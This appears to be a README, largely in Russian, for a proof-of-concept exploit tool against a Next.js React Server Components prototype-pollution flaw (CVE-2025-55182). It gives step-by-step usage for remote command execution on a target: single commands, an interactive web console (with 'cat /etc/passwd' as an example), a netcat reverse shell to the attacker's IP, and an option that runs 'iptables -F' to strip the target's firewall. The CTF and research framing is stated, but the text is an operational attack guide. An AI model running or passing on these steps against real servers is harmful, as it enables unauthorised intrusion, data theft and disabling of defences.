
WEB-CLI_RCE_React2Shell is an educational PoC exploit tool for CVE-2025-55182, a critical Prototype Pollution flaw in Next.js applications using React Server Components. Designed for CTFs and research, it features a single-command mode, an interactive web CLI, and reverse shell capabilities to demonstrate RCE.
Этот инструмент — простой эксплойт Proof-of-Concept (PoC) для CVE-2025-55182. Это серьезная уязвимость (Prototype Pollution), обнаруженная в приложениях Next.js, использующих React Server Components.
Если целевой сервер уязвим, этот скрипт позволяет выполнять команды операционной системы на нем (Удаленное выполнение кода, или RCE).
Этот инструмент создан для обучения, CTF-соревнований и ответственных исследований безопасности.
ИСПОЛЬЗУЙТЕ ЭТИЧНО. Запускайте этот эксплойт только против систем, которыми вы владеете или на тестирование которых у вас есть явное задокументированное разрешение. Несанкционированное использование незаконно. Этот инструмент предназначен только для образовательных целей.
Этот инструмент предоставляет три основных способа выполнения команд: простая одиночная команда, полноценная интерактивная веб-консоль и попытка классической обратной оболочки.
Получите код:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Установите библиотеку:
pip install requests
Это самый простой способ взаимодействия с целью. Он запускает локальную веб-страницу на вашей машине, которая действует как терминал.
Запустите скрипт:
python3 exploit.py <TARGET_URL> --web-cli
Пример: python3 exploit.py http://target.com/ --web-cli
Откройте браузер: Скрипт сообщит вам открыть http://127.0.0.1:8000/. Затем вы сможете вводить команды (например, ls, whoami, cat /etc/passwd) прямо на веб-странице.
Выполните одну команду и сразу получите вывод в вашем локальном терминале. Полезно для быстрых проверок, например, определения вашего идентификатора пользователя.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Пример: python3 exploit.py http://target.com/ --cmd 'id'
Используйте этот режим, если вам нужно стабильное постоянное соединение. Примечание: Часто не работает в реальных средах из-за брандмауэров (фильтрация исходящего трафика).
Запустите слушатель (например, netcat):
nc -lvnp 55555
Запустите эксплойт:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: Ваш IP-адрес.-p 55555: Порт, который использует ваш слушатель.--flush (Необязательно): Пытается сначала выполнить iptables -F на цели, чтобы очистить брандмауэры хоста.Эксплойт использует уязвимость Prototype Pollution для достижения RCE.
Object.prototype).child_process Node.js). Мы заменяем значение этого свойства нашу команду оболочки.execSync) и сразу же вызвать безвредную ошибку. Вывод команды хитро помещается в поле digest сообщения об ошибке. Затем скрипт Python считывает это поле для получения результатов.Это исследование опирается на первоначальную работу и раскрытие информации сообществом безопасности. Спасибо всем исследователям и контрибьюторам открытого исходного кода.